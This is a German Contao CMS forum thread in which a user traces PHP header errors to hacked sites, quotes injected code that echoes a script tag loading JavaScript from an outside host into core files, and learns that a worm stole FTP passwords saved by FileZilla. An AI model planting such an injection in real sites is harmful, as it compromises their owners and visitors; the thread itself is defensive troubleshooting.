Ergebnis 1 bis 11 von 11

Thema: Warning: Cannot modify header information

  1. #1
    Contao-Nutzer
    Registriert seit
    24.11.2009.
    Ort
    Stuttgart
    Beiträge
    98

    Fehler Warning: Cannot modify header information

    Hallo zusammen,

    ich habe vor einiger Zeit zwei Contao-Systeme auf Version 3.0.6 geupdated. Eines davon ist im produktiven Einsatz, das andere ist noch in Entwicklung.
    Bisher lief alles auch ohne Fehler.

    Nun habe ich heute festgestellt, dass ich bei Aufruf des Backends bei beiden Systemen eine nahezu identische Fehlermeldung erhalte. Allerdings laufen die Installationen auf unterschiedlichen Hostern (all-inkl und Strato).

    Das Frontend wirft jeweils auch eine ähnliche Fehlermeldung.

    Hier die Fehlermeldung bei Aufruf des Backends, darunter wird der normale Loginbereich angezeigt:

    Code:
    Warning: Cannot modify header information - headers already sent by (output started at /mnt/web3/e1/29/53631129/htdocs/Contao_01/system/config/default.php:351) in system/modules/core/library/Contao/Template.php on line 277
    #0 [internal function]: __error(2, 'Cannot modify h...', '/mnt/web3/e1/29...', 277, Array)
    #1 system/modules/core/library/Contao/Template.php(277): header('Vary: User-Agen...', false)
    #2 system/modules/core/classes/BackendTemplate.php(156): Contao\Template->output()
    #3 contao/index.php(118): Contao\BackendTemplate->output()
    #4 contao/index.php(127): Index->run()
    #5 {main}
    
    Warning: Cannot modify header information - headers already sent by (output started at /mnt/web3/e1/29/53631129/htdocs/Contao_01/system/config/default.php:351) in system/modules/core/library/Contao/Template.php on line 278
    #0 [internal function]: __error(2, 'Cannot modify h...', '/mnt/web3/e1/29...', 278, Array)
    #1 system/modules/core/library/Contao/Template.php(278): header('Content-Type: t...')
    #2 system/modules/core/classes/BackendTemplate.php(156): Contao\Template->output()
    #3 contao/index.php(118): Contao\BackendTemplate->output()
    #4 contao/index.php(127): Index->run()
    #5 {main}
    Etwas Recherche hat ergeben dass hier oft das Encoding der Dateien (UTF-8 ohne BOM) falsch gesetzt ist. Dies habe ich überprüft, die Datei default.php ist als UTF-8 ohne BOM gespeichert.

    Hat jemand eine Idee? Das ist doch wirklich seltsam, dass der Fehler plötzlich auftritt ohne dass etwas auf den Seiten geändert wurde. Außerdem laufen beide Systeme auf komplett anderen Servern (all-inkl und Strato).
    Viele Grüße,
    closeup

  2. #2
    Wandelndes Contao-Lexikon Avatar von BugBuster
    Registriert seit
    15.06.2009.
    Ort
    Berlin
    Beiträge
    10.513
    User beschenken
    Wunschliste

    Standard

    Zum einem sind das Folgefehler, da fehlt noch was bei den Meldungen
    Zum anderem, wenn du BOM prüfst, dann die Dateien die man selber angefasst hat wie z.b. die localconfig.php, pathconfig.php, langconfig.php

    Die default.php kommt ja vom Core und sollte nie verändert werden.
    Grüße, BugBuster
    "view source" is your guide.
    Danke an alle Amazon Wunschlisten Erfüller

  3. #3
    Contao-Nutzer
    Registriert seit
    24.11.2009.
    Ort
    Stuttgart
    Beiträge
    98

    Standard

    Hallo,

    ich habe festgestellt, dass jeweils am Ende der default.php der folgende code eingefügt wurde:

    Code:
    #d47c75#
    echo "<script type=\"text/javascript\" src=\"http://connecthostad.net/1/ad.php?id=17\" name=\"umtx17\"></script>";
    #/d47c75#
    Sieht sehr nach einem Hack aus.
    Viele Grüße,
    closeup

  4. #4
    Wandelndes Contao-Lexikon Avatar von BugBuster
    Registriert seit
    15.06.2009.
    Ort
    Berlin
    Beiträge
    10.513
    User beschenken
    Wunschliste
    Grüße, BugBuster
    "view source" is your guide.
    Danke an alle Amazon Wunschlisten Erfüller

  5. #5
    Wandelndes Contao-Lexikon Avatar von BugBuster
    Registriert seit
    15.06.2009.
    Ort
    Berlin
    Beiträge
    10.513
    User beschenken
    Wunschliste

    Standard

    Prüfe mal bitte, siehe Wiki Link mit dem Contao Check ob nur die default oder auch weitere infiziert sind und gebe mal Bescheid welche.
    Falls nur die default, wäre das neu, und ich sollte mein Integrity Check Tool anpassen.
    Grüße, BugBuster
    "view source" is your guide.
    Danke an alle Amazon Wunschlisten Erfüller

  6. #6
    Contao-Nutzer
    Registriert seit
    24.11.2009.
    Ort
    Stuttgart
    Beiträge
    98

    Standard

    Wie kann ich denn mittels Contao Check die Dateien überprüfen?

    Wenn ich auf "Eine bestehende Contao-Installation prüfen" klicke erscheint nur der Hinweis:

    "Eine Contao 3.0.6-Installation wurde gefunden.

    Ihre Installation ist aktuell."
    Viele Grüße,
    closeup

  7. #7
    Wandelndes Contao-Lexikon Avatar von BugBuster
    Registriert seit
    15.06.2009.
    Ort
    Berlin
    Beiträge
    10.513
    User beschenken
    Wunschliste

    Standard

    Dann sind alle Dateien in Ordnung. Hattest du die default.php schon korrigiert gehabt?

    Nachtrag: der Check prüft nicht
    localconfig.php
    langconfig.php
    pathconfig.php
    dcaconfig.php
    Geändert von BugBuster (27.05.2013 um 18:11 Uhr)
    Grüße, BugBuster
    "view source" is your guide.
    Danke an alle Amazon Wunschlisten Erfüller

  8. #8
    Contao-Nutzer
    Registriert seit
    24.11.2009.
    Ort
    Stuttgart
    Beiträge
    98

    Standard

    Die default.php hatte ich korrigiert.
    Allerdings war nicht der aktuelle Contao Check installiert. Ich habe nun den Contao Check Version 6.5 hochgeladen und ausgeführt.

    Nun erscheint:

    Code:
    Beschädigte Dateien
    
    assets/css/index.html
    assets/js/index.html
    assets/tinymce/tiny_mce.js
    assets/tinymce/tiny_mce_gzip.js
    assets/tinymce/tiny_mce_popup.js
    contao/index.php
    contao/main.php
    contao/page.php
    files/tiny_templates/index.html
    index.php
    share/index.php
    system/config/default.php
    templates/index.html
    Ein kurzer Blick in contao/index.php und contao/main.php und dort ist auch der oben genannte Code vorhanden.

    Bei der anderen Installation sind es noch wesentlich mehr Dateien die betroffen sind.
    Viele Grüße,
    closeup

  9. #9
    Wandelndes Contao-Lexikon Avatar von BugBuster
    Registriert seit
    15.06.2009.
    Ort
    Berlin
    Beiträge
    10.513
    User beschenken
    Wunschliste

    Standard

    IRC Zitat: Es geistert momentan ein Wurm herum der Rechner infiziert, dort nach der filezilla.xml file sucht und wenn er sie findet (und FTP passwörter drin gespeichert sind) sich zu Servern verbindet und fröhlich manipuliert
    Kunde verwendet FileZilla, also => bingo
    Wenn das bei dir auch sein kann, dann solltest du daran was ändern, siehe Wiki Link - Gegenmaßnahmen
    Grüße, BugBuster
    "view source" is your guide.
    Danke an alle Amazon Wunschlisten Erfüller

  10. #10
    Contao-Nutzer
    Registriert seit
    24.11.2009.
    Ort
    Stuttgart
    Beiträge
    98

    Standard

    Auf dem Mac verwende ich tatsächlich Filezilla und hatte dort auch die Passwörter gespeichert. Kaum zu glauben dass die dort unverschlüsselt in ner XML-Datei liegen.
    Werde wohl auf ein anderes FTP-Tool umsteigen.

    Danke auch für den Tipp mit der Erweiterung "Integrity Check", werde ich mir mal genauer ansehen.
    Viele Grüße,
    closeup

  11. #11
    Contao-Urgestein
    Registriert seit
    10.07.2010.
    Beiträge
    4.403
    User beschenken
    Wunschliste

    Standard

    Zitat Zitat von closeup
    Kaum zu glauben dass die dort unverschlüsselt in ner XML-Datei liegen.
    Vielleicht mal regelmässiger ins Forum gucken ... denn das Problem Filezilla wird hier regelmässig besprochen.
    Zudem kann es ja auch sein das Du mit Deinem Wissen anderen wieterhelfen kannst

Aktive Benutzer

Aktive Benutzer

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)

Lesezeichen

Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •